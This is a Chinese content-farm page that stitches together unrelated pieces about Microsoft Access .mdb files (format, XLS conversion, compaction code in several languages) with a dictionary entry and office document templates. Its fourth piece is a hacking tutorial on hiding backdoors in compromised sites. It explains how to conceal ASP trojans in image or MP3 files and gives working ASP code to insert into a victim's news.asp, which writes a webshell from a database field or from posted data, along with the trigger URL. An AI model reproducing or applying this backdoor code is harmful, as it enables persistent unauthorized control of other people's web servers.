欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>mdb是什么文件?

mdb是什么文件?

2023-02-11 08:26:50 收藏本文 下载本文

“回应我啊”通过精心收集,向本站投稿了7篇mdb是什么文件?,下面是小编给大家带来mdb是什么文件?,一起来阅读吧,希望对您有所帮助。

mdb是什么文件?

篇1:mdb是什么文件?

mdb是什么格式文件

mdb是一种文件格式,就是像word的doc文件格式一样,他是Access数据库文件,而Office上就包含了Access,mdb(Microsoft Database)格式是Microsoft Access软件使用的一种存储格式,因其对数据操作的方便性,常用在一些中小型程序中,

MDB是MDB/ ICP协议(Multi-Drop Bus/Internal Communication Protocol)的简称,它是欧洲售货机制造者协会制定的一套用于协调自动售货系统的主控制器(VMC)与多个外设之间通信的协议

mdb文件怎么打开

一般用ACCESS就能直接打开它,当然也可以用办公软件excel来对打开它。mdb是数据库文件,一些数据库软件也能打开mdb格式文件的。一般都做是程序用的,先在电脑上安装SQLSERVER数据库软件,然后再附加一下就可以打开了。

篇2:关于mdb是什么文件

网络管理员在服务器上分了一块空间,用来展示一些资料。为了方便大家在网络上查询,便作了一个简单的ASP查询系统,其中所链接的是MDB格式的Access数据库,而在建网之前,资料是用Excel表格软件来汇总的,格式为XLS,能不能把XLS文件转换为MDB格式呢?首先想到的是在Excel中将表格文件另存为MDB格式,但在“保存文件类型”中却没有数据库MDB格式。那么用Access是否可以打开XLS呢?结果虽然可以打开,但建立的却是一个链接到表格上的数据库,离开所链接的表格文件就不能打开了,并不是真正的MDB数据库!难道XLS格式与MDB格式就不能转换了?经过一番摸索,终于找到了解决之道,方法是:

一、打开Access数据库软件,在弹出的窗口内,选择“新建数据库”中的“空Access数据库”,然后在“文件新建数据库”窗口内设置数据库文件名,这里输入“DJMessage”作为数据库名。[2]

二、点击“文件”菜单下的“获取外部数据”中的“导入...”,在打开的“导入”窗口内,先将“文件类型”选择为“MicrosoftExcel(?.xls)”,在“查找范围”内选择XLS文件的存放路径,然后选中要转换的XLS文件,点“导入”,打开“导入数据向导”窗口,根据这个向导,一步步地完成数据的导入,具体步骤如下:

第一步、工作表选择:从显示的工作表中,选择要存放数据的工作表。

第二步、标题设置:在Excel中,一般会在表格的第一行中设置列标题,在这一步中,根据XLS表的不同,设置表格第一行是否包含列标题,如果第一行为列标题,则要选中“第一行包含列标题”,如果表格内有多行列标题,则要在导入数据之前将这些列标题目删除,否则,标题就会当做数据导入到数据库中。

第三步、数据保存设置:这一步按默认的设置,选择数据的保存位置为“新表中”。

第四步、字段设置:如果在第二步中勾选了“第一行包含列标题”,则在“字段名”中显示的是列标题,否则在“字段名”中显示的是“字段1”、“字段2”等名称。只要在“字段名”中重新输入新的名称即可设置该列的字段名。

第五步、主键设置:设置主键一方面避免数据的重复,另一方面还可以加快数据查询速度,要建立的数据库是配合ASP网页查询用的,当然更要设置主键了,这里选择的是“用Access添加主键”默认设置。

第六步、表名设置:在“导入到表”下建立一个表名,将数据导入到这个表中,输入的是“mytable”作为表名,再点“完成”就结束了数据导入。回到数据库窗口,就看到添加了一个“mytable”数据表,这样生成的DJMessage.mdb才是一个真正的数据库。把DJMessage.mdb复制到ASP网页目录中,调试一下查询系统,一切OK!

说了这么多,终于把XLS文件转为MDB格式了.接下来,再说一下如何把MDB转换为XLS格式,毕竟表格文件在编辑、排版、打印等方面,比数据库文件容易上手。MDB转XLS格式就相对简单多了,打开数据库文件DJMessage.mdb,选中其中的“mytable”表,然后点“文件”菜单中的“导出”,在打开的“将表mytable导出为”窗口中,将保存文件类型选择为“MicrosoftExcel97-(.xls)”,输入文件名,然后点“保存”即可将数据库格式的MDB文件转换为表格形式的XLS文件了。

[关于mdb是什么文件]

篇3:MDB数据库压缩方法数据库教程

数据|数据库|压缩

MDB数据库压缩方法

jimzj@21cn.com

虽然说MDB数据库功能不是很强大,但时由于在WIN x系统中已有缺省的驱动程序,所以不用另外像SQL,SYBASE一样安装一个管理驱动,而且携带方便,很多的小应用程序或网站还是采用MDB数据库,经常操作MDB数据时,就会经常碰到要对数据进行压缩,下面的我在网上找到和自己使用的经验写一下关于在各种环境中压缩MDB数据库的方法,提供大家参考:

一、ASP或VB中压缩

以前使用 DAO 时,Microsoft 有提供 CompactDatabase Method 来压缩 Microsoft Access 资料库,RepairDatabase Method 来修复损毁的 Microsoft Access 资料库。可是自从 ADO 出来之后,也提供了解决方法,不过有版本上的限制!限制说明如下:

ActiveX Data Objects (ADO), version 2.1

Microsoft OLE DB Provider for Jet, version 4.0

这是 Microsoft 提出的 ADO 的延伸功能:Microsoft Jet OLE DB Provider and Replication Objects (JRO)这个功能在 JET OLE DB Provider version 4.0 (Msjetoledb40.dll) 及 JRO version 2.1 (Msjro.dll) 中第一次被提出!这些必要的 DLL 文件在您安装了 MDAC 2.1 之后就有了,您可以在以下的网页中下载 MDAC 的最新版本!Universal Data Access Web Site在下载之前先到 VB6 中检查一下,【工程】【设定引用项目】中的 Microsoft Jet and Replication Objects X.X library 如果已经是 2.1 以上的版本,您就可以不用下载了!在您安装了 MDAC 2.1 或以上的版本之后,您就可以使用 ADO 来压缩或修复 Microsoft Access 资料库,下面的步骤告诉您如何使用 CompactDatabase Method 来压缩 Microsoft Access 资料库:1、开启一个新工程,点选功能表中的【工程】【设定引用项目】。

2、加入 Microsoft Jet and Replication Objects X.X library,其中 ( X.X 大于或等于 2.1 )。

3、在适当的地方加入以下的程序码,记得要修改 data source 的内容及目地资料库的路径:

Dim jro As jro.JetEngine

Set jro = New jro.JetEngine

jro.CompactDatabase “Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\\nwind2.mdb”, _ '来源资料库

“Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\\abbc2.mdb;Jet OLEDB:Engine Type=4” '目的资料库

在 DAO 3.60 之后,RepairDatabase Method 已经无法使用了,以上的程序码显示了 ADO CompactDatabase Method 的用法,而它也取代了 DAO 3.5 时的 RepairDatabase method

二、DELPHI中压缩

const  SConnectionString       = 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=%s;'                                +'Jet OLEDB:Database Password=%s;';

function GetTempPathFileName:string;

var

SPath,SFile:array [0..254] of char;

begin

GetTempPath(254,SPath);

GetTempFileName(SPath,'~SM',0,SFile);

result:=SFile;

DeleteFile(result);

end;

function CompactDatabase(AFileName,APassWord:string):boolean;

//压缩与修复数据库,覆盖源文件

var

STempFileName:string;

vJE:OleVariant;

begin

STempFileName:=GetTempPathFileName;

try

vJE:=CreateOleObject('JRO.JetEngine');

vJE.CompactDatabase(format(SConnectionString,[AFileName,APassWord]),

format(SConnectionString,[STempFileName,APassWord]));

result:=CopyFile(PChar(STempFileName),PChar(AFileName),false);

DeleteFile(STempFileName);

except

result:=false;

end;

end;

三、C++ Builder中压缩

C++ 中在网上并没有找到很好的方法,但是根据我原来所作的建立MDB数据库方法,也找到了一个相对实用的的压缩方法;

1、 建立MDB文件的函数

#include

bool CreateAccessFile( String stFileName )

{

if( FileExists( stFileName )) return true ;

Variant    vCreateAccess;

Procedure  PCreateAccess( “Create” );

PCreateAccess << “Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” + stFileName ;

vCreateAccess = CreateOleObject( “ADOX.Catalog” );

vCreateAccess.Exec( PCreateAccess );

return ( FileExists( stFileName )) ;

}

//---------------------------------------------------------------------------

2、 由OLE想到的功能来实现压结合实际的功能

#include

void CompactDatabase( String stFileName )

{

Variant    vCreateAccess;

Procedure  PCreateAccess( “CompactDatabase” );

String stTempFile = “Temp.mdb” ;

if( FileExists(stTempFile)) DeleteFile(stTempFile) ;

PCreateAccess << “Provider=Microsoft.Jet.OLEDB.4.0;Data Source= ” + stFileName + “;” ; //如果有密码请加上后面这一句Jet OLEDB:Database Password=password;“ ;

PCreateAccess << ”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=“ + stTempFile + ”;“ ; //如果有密码请加上后面这一句Jet OLEDB:Database Password=password;” ;

vCreateAccess = CreateOleObject( “JRO.JetEngine” );

vCreateAccess.Exec( PCreateAccess );

//代替原来的数据库

CopyFile(stTempFile.c_str(),stFileName.c_str(), (int)false ) ;

DeleteFile(stTempFile) ;

}

四、Vc中压缩

#import “C:\PROGRAM FILES\COMMON FILES ystem\ado\MSJRO.DLL” no_namespace  Add the following (specifying your own source and destination database paths) to the .cpp file where you

want to compact the database:

try

{

IJetEnginePtr jet(__uuidof(JetEngine));

jet->CompactDatabase(

“Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\\nwind2.mdb”,

“Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\\abbc.mdb;” \

“Jet OLEDB:Engine Type=4”);

}

catch(_com_error &e)

{

::MessageBox(NULL, (LPCTSTR)e.Description( ), “”, MB_OK) ;

}

更具体的E文可以看微软的文章:

support.microsoft.com/default.aspx?scid=kb;EN-US;230496

篇4:巧用.mdb后缀数据库做后门

我不否认n早前的那个把asp木马写到图片文件中不失为一种好的方法,其实不仅可以写到图片啦 写到mp3文件里写到doc文件里都是可以的啦

copy 文件名/参数 + 文件名/参数 生成文件名

这样的方法可以很灵活的运用来达到隐藏文件的目的,具体的参数就是/a以acsic码方式,/b二进制方式,就不罗嗦这些了,至于如何上传webshell,什么是webshell也不属于本文的讨论范围,今天要讲的是如何把后门放到后缀。mdb的数据库中,前提是在我们拿到

一个webshell之后…

我们所知道的,很多站点在用户注册的时候要让填好多东西例如:

用户名、密码、qq、邮箱、个人简介、电话、联系方式、住址一类的

而对应到数据库中也都会有相应的表 字段 值

我今天要做的就是 我注册一个用户在 我的个人简介的地方上写入shell代码,然后修改他站点上的一个文件,使用的时候触发这个文件,就把我个人简历中的shell代码,备份到当前目录下

废话少说了 大家看代码

<%

if request(“action”)=“firefox” then

fname=request.querystring(“fn”)

tname=request.querystring(“tn”)

bname=request.querystring(“bn”)

id=request.querystring(“id”)

idvalue=request.querystring(“idv”)

set rs=server.createobject(“ADODB.recordset”)

sql=“select ”& bname & “ from ”&tname& “ where ”&id&“=”&idvalue&“”“”

rs.open sql,conn,1,3

if not rs.eof then

content=rs(bname)

else

response.write “Nothing”

end if

set fso=Server.CreateObject(“Scripting.FileSystemObject”)

set txtfile=fso.createtextfile(server.mappath(fname))

txtfile.writeline(content)

txtfile.close

end if

%>

将上边的代码加到站点的一个文件中 如news.asp

根据我们了解的信息 在其站点注册后 下载数据库看结构

我注册的firefox名字是在 user表 其id值为119 用于存放我注册简历的表字段为jl

那么在使用的时候我们

news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119

就可以在news.asp相同目录下写入一个名为 firefox.asp的webshell

以上可以说是万千隐藏方法中的一种 下边再说另外一种更方便的隐藏方法

这个方法就和mdb后缀无关系了

同样我们还是修改news.asp 将以下代码插入到对方news.asp中

<%

if request(“action”)=“firefox” then

n=request.form(“n”)

c=request.form(“c”)

set fso=Server.CreateObject(“Scripting.FileSystemObject”)

set txtfile=fso.createtextfile(server.mappath(n))

txtfile.writeline(c)

txtfile.close

end if

%>

这段代码相对简单些 算是一个木马的服务端吧,

引言:好长时间了,从刚开始的站点管理器到现在流行的几款asp后门,相信大多网管都能说出这些经典webshell的名字,如海洋、老兵、蓝屏等,也相信大多数的网管学会了关键字的搜索方法来搜索这些木马,当然现在的时间如果再象隐藏后门就要讲些技巧啦,俗话说的好“佛高一尺,我高一丈”。

篇5:文件

文件

文件wén jiàn[释义]

①(名)公文、信件等。

②(名)指有关政治理论、时事政策、学术研究等方面的文章。

[构成]  偏正式:文(件[例句]  请把~整理出来。(作状语)中央已下达了有关~。(作宾语)[同音]  闻见

篇6:文件借条范本

借用人(甲方):

联系方式:

联系地址:

出借人(乙方):

联系方式:

联系地址:

甲方因______原因需要向乙方借用______文件,双方约定借用期限共______个月,自______年____月____日至______年____月____日。并且在______年____月____日还清。由于该文件对于乙方非常重要,若届时甲方不能按时归还,每延期一日,甲方愿意支付______%迟延履行金。

风险提示:

借条形式比较简单,目前法院关于民间借贷的的立案条件中,借条必须配合转账凭证或现金收据使用,一并证明借款事实。

甲方(签字或盖章):

年 月 日

乙方(签字或盖章):

年 月 日

篇7:文件管理办法

文件管理办法

外来文件:公文(命令、指令、决议、指示、通知、通报、报告、请示、批复、涵、会议纪要)、电报、传真等等

本部制发文件:本公司内部文件和对外业务文件

第三条 收文

1.      本公司与外界往来的文件,由办公室统一登记、收文。

2.      内部制发文件流转,由各部门自行登记、收文、立卷、存档。

第四条 发文

1.      以公司名义撰写的文件,可由各部门自行拟稿,统一由公司办公室登记签发。

2.      以各部门名义撰写的文件,由各部门自行登记、签发。

第五条 分文

1. 外来文件由办公室登记收文后,根据业务性质分送各有关部门处理。

2. 内部制发文件流转时,由发文部门登记签发后,直接送收文部门登记签收。

第六条 会签

1. 需多部门或多人会签处理的文件应附上“收文处理单”。

2. 各部门收到需参与会签的文件时,须本着本部门的职责及时认真处理并签署意见。

3. 文件收文后,再依“收文处理单”内所指定的会签顺序,转送其他会签部门或某人,若某部门或某人为最后一个会签单位,则处理后将本文件转送办公室。

第三章 重要文件的审核、执行

第七条 审核、批示

涉及公司总体协调或应由公司总经理审核的文件,由办公室汇总签办意见,呈总经理或交其他被授权者做最终的.审核、批示。

第八条 执行

经总经理或有关人员的批示后,正本留办公室归档存查,由办公室将文件复印一份送执行单位处理并督促执行。

第四章 撰写文书格式

第九条 公司实行按国家标准和公司标准统一的文书规范格式。

第十条 对已经统一的文书类(以附件形式下发),要求各部门及员工严格按公司规范格式操作

【mdb是什么文件?】相关文章:

1.文件范本

2.文件管理制度

3.规范文件

4.工作文件

5.水务局文件范文

6.处分文件范文

7.工作文件范文

8.三级文件范文

9.投标文件承诺书

10.文件接收函

下载word文档
《mdb是什么文件?.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部